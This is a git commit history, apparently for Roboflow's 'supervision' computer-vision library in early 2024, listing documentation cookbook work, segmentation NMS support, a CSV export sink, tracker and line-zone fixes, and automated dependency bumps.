Compare commits

...
880 Commits
Author SHA1 Message Date
SkalskiP 11197f8a4e bump version from 0.19.0rc2 to 0.19.0rc3 2024-02-09 18:09:56 +01:00
Piotr Skalski 8529a3ec18 Merge pull request #861 from NickHerrig/feat/cookbooks
Feat/cookbooks
2024-02-09 17:37:50 +01:00
SkalskiP 115d4492da changing colab names, card names, and card labels 2024-02-09 17:36:13 +01:00
Nick Herrig 84b54d31bf Add colab notebook button, test in notebooks 2024-02-09 10:34:40 -05:00
pre-commit-ci[bot] 57c7109498 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-09 14:30:00 +00:00
Nick Herrig 008dbcb0b4 Merge branch 'develop' into feat/cookbooks 2024-02-09 09:29:49 -05:00
Nick Herrig 122ca82cad Update cookbooks html to match new format -> no desc, cap tags 2024-02-09 09:27:07 -05:00
Nick Herrig 9ca7d3eb75 Finish and fix grammar of tracking cookbook 2024-02-09 09:21:14 -05:00
Piotr Skalski 5b2bdf58e7 Merge pull request #868 from roboflow/cookbooks/cards-improvements
[Cookbooks] - Improved functionality of cookbook cards
2024-02-09 14:24:51 +01:00
pre-commit-ci[bot] b7070ae574 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-09 13:23:07 +00:00
SkalskiP 85f09e3323 same label have same color across multiple cards; fixed small bug with hover effect 2024-02-09 14:19:41 +01:00
SkalskiP 03f7001a2b cookbooks-card.js refactor 2024-02-09 13:26:32 +01:00
SkalskiP 36a825b7a0 author styling improvements 2024-02-09 12:47:02 +01:00
Onuralp SEZER 0950f90ddf Merge pull request #867 from roboflow/dependabot/pip/nbconvert-7.16.0
⬆️ Bump nbconvert from 7.14.2 to 7.16.0
2024-02-09 14:22:44 +03:00
Onuralp SEZER cb22b94fe1 Merge pull request #866 from roboflow/dependabot/pip/ipywidgets-8.1.2
⬆️ Bump ipywidgets from 8.1.1 to 8.1.2
2024-02-09 14:22:29 +03:00
pre-commit-ci[bot] 019c41bf1a fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-09 04:37:54 +00:00
Nick Herrig 607d94dad9 Merge branch 'develop' into feat/cookbooks 2024-02-08 23:37:45 -05:00
Nick Herrig aacdbe76f0 Add html entries for cookbooks, add tracking cookbook 2024-02-08 23:27:53 -05:00
Nick Herrig f340c49a70 Update bounding box cookbook name, Fix grammar and spelling 2024-02-08 20:30:57 -05:00
dependabot[bot] 5bd30f4c72 ⬆️ Bump nbconvert from 7.14.2 to 7.16.0
Bumps [nbconvert](https://github.com/jupyter/nbconvert) from 7.14.2 to 7.16.0.
- [Release notes](https://github.com/jupyter/nbconvert/releases)
- [Changelog](https://github.com/jupyter/nbconvert/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jupyter/nbconvert/compare/v7.14.2...v7.16.0)

---
updated-dependencies:
- dependency-name: nbconvert
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-09 01:04:56 +00:00
dependabot[bot] d0f31448b9 ⬆️ Bump ipywidgets from 8.1.1 to 8.1.2
Bumps [ipywidgets](https://github.com/jupyter-widgets/ipywidgets) from 8.1.1 to 8.1.2.
- [Release notes](https://github.com/jupyter-widgets/ipywidgets/releases)
- [Commits](https://github.com/jupyter-widgets/ipywidgets/compare/8.1.1...8.1.2)

---
updated-dependencies:
- dependency-name: ipywidgets
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-09 01:01:04 +00:00
Nick Herrig 7b4cf2f0f6 Reviewed supervision assets cookbook and renamed 2024-02-08 19:51:08 -05:00
Piotr Skalski fb7dd6aefd Merge pull request #865 from roboflow/cookbooks/html-optimization-and-css-update
cookbooks page HTML optimisation + CSS update
2024-02-08 22:42:00 +01:00
pre-commit-ci[bot] ce70266d23 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-08 21:39:07 +00:00
SkalskiP f1a2b99931 ready for review 2024-02-08 22:36:57 +01:00
Nick Herrig e3adcbeec1 Move cookbooks to new webpage and configure html file 2024-02-08 15:30:32 -05:00
SkalskiP 48af41377f move notebook inside the grid 2024-02-08 20:32:37 +01:00
Nick Herrig 0b7b8bb439 Move assets cookbook to docs, Update theme/cookbooks 2024-02-08 14:13:14 -05:00
Nick Herrig 95d28fabb5 Merge branch 'roboflow:develop' into feat/cookbooks 2024-02-08 13:30:40 -05:00
pre-commit-ci[bot] efd06ac77d fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-08 17:22:01 +00:00
Nick Herrig 1ac497a3e2 Finished bounding box annotation cookbook 2024-02-08 12:20:56 -05:00
Piotr Skalski 3dd3781b1b Add hackfest baner to README.md 2024-02-08 18:20:13 +01:00
Nick Herrig a015fc176e Fix object detection conflicts 2024-02-08 12:18:09 -05:00
Piotr Skalski 775c1b65f8 Merge pull request #863 from roboflow/fix/doc-env2
docs(fix): 🐞📝 MKDOCS_GIT_COMMITTERS_APIKEY fix attempt v2
2024-02-08 17:56:10 +01:00
Onuralp SEZER 8514f086b7 docs(fix): 🐞📝 MKDOCS_GIT_COMMITTERS_APIKEY fix attempt v2
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 19:53:51 +03:00
Nick Herrig 4685a0a2ff Update bounding box conflict 2024-02-08 11:38:14 -05:00
Piotr Skalski a26dd9416e Merge pull request #862 from roboflow/fix/doc-env
docs(fix): 🐞📝 MKDOCS_GIT_COMMITTERS_APIKEY value added
2024-02-08 17:37:57 +01:00
Onuralp SEZER a6466d13a9 docs(fix): 🐞📝 MKDOCS_GIT_COMMITTERS_APIKEY value added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 19:33:20 +03:00
Piotr Skalski 82b18ae3f8 Merge pull request #860 from roboflow/docs/notebooks
docs(page): 🚀 Supervision Cookbook
2024-02-08 17:26:24 +01:00
Onuralp SEZER 08a204d872 docs(api): 📝 api/annotators position adjusted and small typo fix
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 19:20:15 +03:00
Onuralp SEZER 4e5331b92d docs(version): 🐞 restore version part and revert hide h1 on home for now
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 18:57:39 +03:00
Onuralp SEZER 985624e35e docs(assets): 🐞 missing js and css files added into mkdocs.yml
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 18:05:07 +03:00
Onuralp SEZER 6a091b58a8 ci(docs): 👷 GH_TOKEN added for git-committers
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:51:19 +03:00
Onuralp SEZER 4ef2d04dec ci(docs): 👷 new packages added for build document
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:39:16 +03:00
pre-commit-ci[bot] f81ccbcc5f fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-08 14:34:47 +00:00
Onuralp SEZER d900e68787 docs(home): 🚀 hide table of content for home page only and give looks as more like home of supervision
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:33:52 +03:00
Onuralp SEZER ab38cb1531 docs(nb): 🚀 initial notebook added as quickstart and other examples are removed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:30:04 +03:00
pre-commit-ci[bot] 7f51984063 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-08 14:22:52 +00:00
pre-commit-ci[bot] 1ad26b5527 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-08 14:13:38 +00:00
Onuralp SEZER d2ccc4f270 docs(nav): 🚀 nav-tab enabled and new order of pages for better understanding
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:13:03 +03:00
Onuralp SEZER 15b4914448 docs(js): 🔥 unused params has been removed from js files for cookbook page
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 17:06:22 +03:00
Onuralp SEZER 3ddeed1945 docs: ✨ data-url param added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 16:48:46 +03:00
Onuralp SEZER 1a20bb5745 docs: ✨ add demo notebook and remove notebooks folder from ignore list
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 16:33:05 +03:00
Onuralp SEZER c4365871b5 Merge changes from develop branch 2024-02-08 15:31:06 +03:00
Onuralp SEZER 1fba192319 docs: ✨ folder rename to javascript to javascripts (plural)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 15:26:03 +03:00
Onuralp SEZER 6ffd159b77 docs: ✨ supervision cookbook initial page design landed
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-08 15:20:43 +03:00
Onuralp SEZER 16d3214db9 Merge pull request #857 from roboflow/dependabot/pip/mkdocs-material-9.5.8
⬆️ Bump mkdocs-material from 9.5.7 to 9.5.8
2024-02-08 03:41:16 +03:00
dependabot[bot] 381bc8aed6 ⬆️ Bump mkdocs-material from 9.5.7 to 9.5.8
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.7 to 9.5.8.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.7...9.5.8)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-08 00:37:30 +00:00
Nick Herrig 3150f5a672 Add rough draft of bounding box displays 2024-02-07 18:55:24 -05:00
Onuralp SEZER eb35fdd1b7 Merge pull request #856 from roboflow/dependabot/pip/ruff-0.2.1
⬆️ Bump ruff from 0.2.0 to 0.2.1
2024-02-08 00:43:46 +03:00
Nick Herrig 9e95e1f0b3 Add supervision assets cookbook, correct assets documentation 2024-02-07 14:56:08 -05:00
Nick Herrig 4bfbe3c8f7 Add readme for cookbooks directory 2024-02-07 14:52:43 -05:00
Onuralp SEZER a6d9961b2b docs: ✨ jupyter notebook support added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-07 20:06:25 +03:00
Piotr Skalski a670faf646 Merge pull request #847 from AdonaiVera/segmentation_nms
[NMS] - add segmentation models support
2024-02-07 10:09:01 +01:00
SkalskiP 824a9140b6 tests fixed 2024-02-07 09:59:58 +01:00
SkalskiP 36ec1b6481 Merge remote-tracking branch 'origin/segmentation_nms' into segmentation_nms 2024-02-07 09:43:20 +01:00
SkalskiP 79a13d0432 final tests 2024-02-07 09:42:56 +01:00
pre-commit-ci[bot] cbbfb453f2 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-07 08:41:34 +00:00
SkalskiP bbe0bfc760 final tests 2024-02-07 09:41:21 +01:00
SkalskiP 98e7310038 test vectorized mask_non_max_suppression 2024-02-07 09:31:02 +01:00
SkalskiP 71836ed1ee Merge remote-tracking branch 'origin/segmentation_nms' into segmentation_nms 2024-02-07 09:28:03 +01:00
SkalskiP b681274954 Merge remote-tracking branch 'origin/segmentation_nms' into segmentation_nms 2024-02-07 09:27:49 +01:00
SkalskiP 619fa832c5 Merge remote-tracking branch 'origin/segmentation_nms' into segmentation_nms 2024-02-07 09:24:55 +01:00
SkalskiP f2e65cf6fc refactored mask_non_max_suppression 2024-02-07 09:24:45 +01:00
pre-commit-ci[bot] 8f6887d994 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-07 08:21:36 +00:00
SkalskiP c46a2e9c08 Merge remote-tracking branch 'origin/segmentation_nms' into segmentation_nms
# Conflicts:
#	supervision/detection/utils.py
2024-02-07 09:21:22 +01:00
SkalskiP 7e44838e51 refactored mask_non_max_suppression 2024-02-07 09:20:54 +01:00
pre-commit-ci[bot] c98dbbf2f6 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-07 08:18:54 +00:00
SkalskiP 239f7333f1 refactored mask_non_max_suppression 2024-02-07 09:18:41 +01:00
SkalskiP 35c9ebdd60 refactored mask_non_max_suppression 2024-02-07 08:51:57 +01:00
pre-commit-ci[bot] 879cf6d9dc fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-07 05:15:10 +00:00
Adonai Vera fd70f3ce5d Applied inclusion-exclusion principle to mask_iou_batch and resize function to improve speed 2024-02-07 00:14:54 -05:00
pre-commit-ci[bot] cf63c838b2 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-06 08:55:15 +00:00
SkalskiP 9ee42e5257 mask_iou_batch speed test 2024-02-06 09:54:07 +01:00
dependabot[bot] 9253da570f ⬆️ Bump ruff from 0.2.0 to 0.2.1
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.2.0 to 0.2.1.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.2.0...v0.2.1)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-06 01:03:21 +00:00
SkalskiP beee1c715d bump version from 0.19.0rc1 to 0.19.0rc2 2024-02-05 23:49:09 +01:00
Onuralp SEZER d9adc45ca9 Merge pull request #855 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2024-02-05 21:11:04 +03:00
pre-commit-ci[bot] 24df5aa78e chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/astral-sh/ruff-pre-commit: v0.1.14 → v0.2.0](https://github.com/astral-sh/ruff-pre-commit/compare/v0.1.14...v0.2.0)
2024-02-05 17:37:15 +00:00
Onuralp SEZER 4a58c0b726 Merge pull request #852 from roboflow/dependabot/pip/mkdocs-material-9.5.7
⬆️ Bump mkdocs-material from 9.5.6 to 9.5.7
2024-02-05 15:30:44 +03:00
dependabot[bot] 9fc789e6cf ⬆️ Bump mkdocs-material from 9.5.6 to 9.5.7
Bumps [mkdocs-material](https://github.com/squidfunk/mkdocs-material) from 9.5.6 to 9.5.7.
- [Release notes](https://github.com/squidfunk/mkdocs-material/releases)
- [Changelog](https://github.com/squidfunk/mkdocs-material/blob/master/CHANGELOG)
- [Commits](https://github.com/squidfunk/mkdocs-material/compare/9.5.6...9.5.7)

---
updated-dependencies:
- dependency-name: mkdocs-material
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-05 00:47:50 +00:00
pre-commit-ci[bot] 1e87a99259 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-03 03:19:57 +00:00
Adonai Vera ebe2785287 Removed issue of length sentence 2024-02-02 22:19:40 -05:00
pre-commit-ci[bot] aaf3621841 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-03 03:10:29 +00:00
Adonai Vera 6a9c013949 Added nms for segmentation algorithm, added unit test, added init, added withnms conditional depends if contains mask 2024-02-02 21:33:15 -05:00
Onuralp SEZER d423ff3b6c Merge pull request #845 from Kadermiyanyedi/fix-linezone-in-out-values
[LineZone] - flip in/out line crossing directions #838
2024-02-02 20:59:36 +03:00
Kader Miyanyedi 7fae4dbbb8 fix(line_zone): fix in/out values 2024-02-02 20:38:30 +03:00
Piotr Skalski 87a4927d03 Merge pull request #818 from AdonaiVera/allowing_serialise_detections_csv
New function [CSVSink] - allowing to serialise Detections to a CSV file
2024-02-02 18:11:10 +01:00
pre-commit-ci[bot] 6bebd4e70d fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-02 17:03:05 +00:00
SkalskiP 2e76c66675 Merge remote-tracking branch 'origin/allowing_serialise_detections_csv' into allowing_serialise_detections_csv 2024-02-02 18:02:45 +01:00
SkalskiP d6ee6440ad final tests 2024-02-02 17:52:56 +01:00
pre-commit-ci[bot] abb8daa352 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-02 15:45:40 +00:00
SkalskiP ac6f3d6e7c small docs updates 2024-02-02 16:45:05 +01:00
Piotr Skalski 0ccb0b85ad Merge pull request #843 from roboflow/doc/urls-relative-fix
docs(fix): 🐞📝 relative path fix for mike
2024-02-02 13:31:14 +01:00
Onuralp SEZER e3c9ea5ee6 docs(fix): 🐞📝 changelog url fix /0.18.0/annotators/#percentagebarannotator
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-02 15:21:10 +03:00
Onuralp SEZER 26135bd84d docs(fix): 🐞📝 relative path fix for mike
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-02 15:15:18 +03:00
Piotr Skalski cdd88dafeb Merge pull request #829 from roboflow/doc/urls-fixes-and-others
docs: ✨ fix url and coc and contributing.md, pythonic features of docs enabled, relative urls added.
2024-02-02 12:53:45 +01:00
Onuralp SEZER 177bcddcd9 Merge pull request #841 from roboflow/dependabot/pip/ruff-0.2.0
⬆️ Bump ruff from 0.1.15 to 0.2.0
2024-02-02 09:12:13 +03:00
dependabot[bot] e9bab7913f ⬆️ Bump ruff from 0.1.15 to 0.2.0
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.15 to 0.2.0.
- [Release notes](https://github.com/astral-sh/ruff/releases)
- [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md)
- [Commits](https://github.com/astral-sh/ruff/compare/v0.1.15...v0.2.0)

---
updated-dependencies:
- dependency-name: ruff
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-02-02 00:54:14 +00:00
pre-commit-ci[bot] b1034fe139 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-01 23:08:57 +00:00
Adonai Vera e899b428ca Fix length of the line 2024-02-01 18:07:24 -05:00
pre-commit-ci[bot] aba5c0a07b fix(pre_commit): 🎨 auto format pre-commit hooks 2024-02-01 22:56:02 +00:00
Adonai Vera 788bc317fa Improvements in thread #818: documentation, handle unit test, improvements pattern directory 2024-02-01 17:53:15 -05:00
Onuralp SEZER 732aa09059 docs: 📝 linkedin url adjustment
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-02 01:22:57 +03:00
Onuralp SEZER 671b48df4b docs: 📝 add social discord into footer
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-02 01:21:44 +03:00
Onuralp SEZER 71a18a12d7 docs: 📝 install and quick start position swapped
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 22:17:25 +03:00
Onuralp SEZER 3576f4f1a1 docs: 📝 versioned based change logs url and old url has been replace with new one
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 22:07:36 +03:00
Onuralp SEZER df9616948b docs(mkdocs): pythonic mkdocs features enabled
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 21:40:20 +03:00
Onuralp SEZER edf35f4c6e docs(link): add relative urls and fix readme urls
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 21:39:57 +03:00
Onuralp SEZER ab5c8cfa68 docs(link): annotators now has proper linking
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 20:23:11 +03:00
Onuralp SEZER 847ebeb7b2 docs(fix): 🐞📝 removal of table of content duplicates for detection metrics
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 20:22:40 +03:00
Onuralp SEZERandPiotr Skalski 7a04a11524 Update docs/how_to/track_objects.md
Co-authored-by: Piotr Skalski <piotr.skalski92@gmail.com>
2024-02-01 18:27:09 +03:00
Piotr Skalski fc3bced56d Merge pull request #832 from roboflow/fix/inference_and_yolo_nas_speed_estimation_examples
fix inference and yolo nas speed estimation examples
2024-02-01 10:30:40 +01:00
SkalskiP 775efd0d41 fix inference and yolo nas speed estimation examples 2024-02-01 10:25:43 +01:00
Piotr Skalski 81d0c3a1a3 Merge pull request #827 from AdonaiVera/add_method_reset_state_tracker
[ByteTrack] - add a method to reset the state of the tracker
2024-02-01 08:46:51 +01:00
SkalskiP ee58e28d25 Small update in reset docstring. 2024-02-01 08:42:36 +01:00
Adonai Vera 889044cf06 Add docs to reset function and reduce the length 2024-02-01 00:37:43 -05:00
Adonai Vera 5f8127a1a5 Add docstring to the reset function 2024-02-01 00:30:48 -05:00
Onuralp SEZER 18c0ec4196 Merge branch 'develop' into doc/urls-fixes-and-others 2024-02-01 00:32:40 +03:00
Piotr Skalski 46426f816a Merge pull request #830 from roboflow/feature/update_fps_monitor_api
Update `FPSMonitor` API
2024-01-31 22:29:29 +01:00
pre-commit-ci[bot] 2280de707b fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 21:27:15 +00:00
Adonai Vera 9da2d9f761 Remove ultralytics example multiple video 2024-01-31 16:26:49 -05:00
SkalskiP da8cc0cbaa documentation updated 2024-01-31 22:25:47 +01:00
Onuralp SEZER 833a9f117d Merge branch 'develop' into doc/urls-fixes-and-others 2024-02-01 00:21:25 +03:00
SkalskiP d00f5e4797 deprecated.md added 2024-02-01 00:18:53 +03:00
pre-commit-ci[bot] b6ddd21cdb fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 21:18:42 +00:00
SkalskiP 92f8fefef1 Merge branch 'develop' into feature/update_fps_monitor_api 2024-01-31 22:18:29 +01:00
SkalskiP 5771a29d33 deprecated.md added 2024-01-31 22:12:54 +01:00
Onuralp SEZER ff3df644c9 Merge branch 'develop' into doc/urls-fixes-and-others 2024-02-01 00:12:17 +03:00
Onuralp SEZER fc5126f352 docs: ✨ docs urls in detection latest tag added
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-02-01 00:09:17 +03:00
Piotr Skalski 34af22581e Merge pull request #828 from roboflow/feature/improved-communication-of-deprecated-features
improved communication of deprecated features
2024-01-31 22:05:00 +01:00
pre-commit-ci[bot] 3d2530f3a6 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 21:02:30 +00:00
SkalskiP 9817598c2c improved communication of deprecated features 2024-01-31 21:59:06 +01:00
pre-commit-ci[bot] bef5fb02d0 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 20:32:49 +00:00
Adonai Vera 9ba0511610 Change import name 2024-01-31 15:30:03 -05:00
Adonai Vera 6993ca3d71 Reset function to process multiple videos 2024-01-31 15:07:27 -05:00
Onuralp SEZER 163aa785f9 docs: ✨ contributing.md/code_of_conduct/license added into docs
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 22:10:28 +03:00
Onuralp SEZER d009f75c28 docs: 📝 pypi and docker url added to footer
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 21:47:07 +03:00
pre-commit-ci[bot] 91260bdfc9 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 17:11:18 +00:00
Adonai Vera 4ec353f5c2 Apply format 2024-01-31 12:10:56 -05:00
SkalskiP 173719020e ready for tests 2024-01-31 18:01:42 +01:00
pre-commit-ci[bot] fd00bd4ba2 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-31 16:41:57 +00:00
Adonai Vera 12568336ba Applied feedback from SkalskiP in PR #818 2024-01-31 11:39:05 -05:00
Piotr Skalski c692d264ae Merge pull request #823 from roboflow/doc/fix-table-of-content-duplicates
docs(fix): 🐞📝 removal of table of content duplicates
2024-01-31 14:40:03 +01:00
Onuralp SEZER 840fe2c5d5 docs(fix): 🐞📝 removal of table of content duplicates assets and datasets
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 16:33:08 +03:00
Onuralp SEZER 49a30f9830 docs: ✨ Twitter logo updated
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 16:19:23 +03:00
Onuralp SEZER c7501868d0 docs: ✨ Supervision 2024 docs (copyright fix)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 16:15:43 +03:00
Onuralp SEZER 5f684e717c docs(fix): 🐞📝 removal of table of content duplicates annotators
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:58:31 +03:00
Onuralp SEZER 95a19d1c0e docs(fix): 🐞📝 removal of table of content duplicates assets,datasets,trackers,file,utils/(image,notebook,video)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:54:36 +03:00
Onuralp SEZER b81eb85616 docs(fix): 🐞📝 add missing h1 for how tos
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:19:51 +03:00
Onuralp SEZER bf9d56215a docs(fix): 🐞📝 removal of table of content duplicates core/geometry
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:19:36 +03:00
Onuralp SEZER 31fff6c821 docs(fix): 🐞📝 removal of table of content duplicates utils/draw functions
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:18:54 +03:00
Onuralp SEZER 9a3c3fee2f docs(fix): 🐞📝 removal of table of content duplicates Color
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:18:41 +03:00
Onuralp SEZER 443edc9760 docs(fix): 🐞📝 removal of table of content duplicates Detection Smoother
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:18:19 +03:00
Onuralp SEZER beec044421 docs(fix): 🐞📝 removal of table of content duplicates PolygonZone,PolygonZoneAnnotator
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:17:53 +03:00
Onuralp SEZER 1aab21c333 docs(fix): 🐞📝 removal of table of content duplicates LineZone
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:15:06 +03:00
Onuralp SEZER 05aed165dc docs(fix): 🐞📝 removal of table of content duplicates InferenceSlicer
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:14:11 +03:00
Onuralp SEZER 921b450040 docs(fix): 🐞📝 removal of table of content duplicates Detections/utils
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:13:30 +03:00
Onuralp SEZER a8d8ed5cb4 docs(fix): 🐞📝 removal of table of content duplicates core(Detections,Classification)
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 15:09:07 +03:00
Onuralp SEZER c44767cc12 Merge pull request #822 from roboflow/mike-provider-typo-fix
fix: 🐞 version provider typo fix
2024-01-31 14:24:30 +03:00
Onuralp SEZER 947f8d35c4 fix: 🐞 version provider typo fix
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 14:22:21 +03:00
Piotr Skalski eaaa1a83c7 Merge pull request #815 from roboflow/gh-mike-docs-setup
ci: 👷 documentation build via mike for develop tag configuration
2024-01-31 12:05:24 +01:00
Piotr Skalski 0d36d01afc Merge pull request #814 from roboflow/feature/make-from_ultralytics-extract-class-names-from-result
make `from_ultralytics` extract class names from result
2024-01-31 08:30:33 +01:00
SkalskiP fc571cc191 Merge remote-tracking branch 'origin/feature/make-from_ultralytics-extract-class-names-from-result' into feature/make-from_ultralytics-extract-class-names-from-result 2024-01-31 08:28:45 +01:00
SkalskiP c6718d374c update docs 2024-01-31 08:28:34 +01:00
Adonai Vera 5e339f99fc [CSVSink] - allowing to serialise Detections to a CSV file ready for prod 2024-01-31 01:32:49 -05:00
Onuralp SEZER 4b75daaad6 ci: 👷 documentation build via mike for develop tag configuration
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2024-01-31 01:28:22 +03:00
Onuralp SEZER e801879e70 Merge pull request #811 from roboflow/dependabot/pip/ruff-0.1.15
⬆️ Bump ruff from 0.1.14 to 0.1.15
2024-01-31 00:05:55 +03:00
pre-commit-ci[bot] 33b7861c70 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-30 17:36:04 +00:00
Onuralp SEZER 5d93ae61ee Merge pull request #813 from Kadermiyanyedi/fix-typos-in-the-changelog-file
Fix typos in the CITATION.cff and changelog.md files
2024-01-30 20:35:51 +03:00
SkalskiP 7f9153e826 initial commit 2024-01-30 18:34:41 +01:00
Kader Miyanyedi a1cc319293 chore(docs): fix typos 2024-01-30 20:16:31 +03:00
Piotr Skalski 6147b6ee03 Merge pull request #802 from Kadermiyanyedi/make-display-values-optional
LineZoneAnnotator make display of int/out values optional
2024-01-30 13:37:27 +01:00
Kader Miyanyedi c285ff68b4 chore(line_zone_annotator): update is_in_count parameter description 2024-01-30 15:32:10 +03:00
Piotr Skalski 5ae3327737 Merge pull request #801 from KingKokouvi/traffic_analysis_0
Refactor class DetectionsManager to handle empty detections_all array
2024-01-30 13:08:38 +01:00
Kader Miyanyedi e0294cd296 refactor(line_zone_annotator): refactor _annotate_count method 2024-01-30 14:28:15 +03:00
Kokouvi 226090aeaf Update inference_example.py
formattig
2024-01-30 11:20:55 +00:00
Kokouvi 0603527bb2 Update inference_example.py
fix formatting
2024-01-30 11:12:54 +00:00
Kokouvi c781a8efa1 Update ultralytics_example.py
adding else statement to return an empty array when there is no detections
2024-01-30 10:58:16 +00:00
Kokouvi 82aa4bb857 Update inference_example.py
Formatting
2024-01-30 10:55:34 +00:00
pre-commit-ci[bot] 6c98e211e5 fix(pre_commit): 🎨 auto format pre-commit hooks 2024-01-30 10:54:00 +00:00
Kokouvi 1e482e172f Update inference_example.py
Adding else statement
2024-01-30 10:53:40 +00:00
dependabot[bot] 499cf7e294 ⬆️ Bump ruff from 0.1.14 to 0.1.15
Bumps [ruff](https://github.com/astral-sh/ruff) from 0.1.14 to 0.1.15.
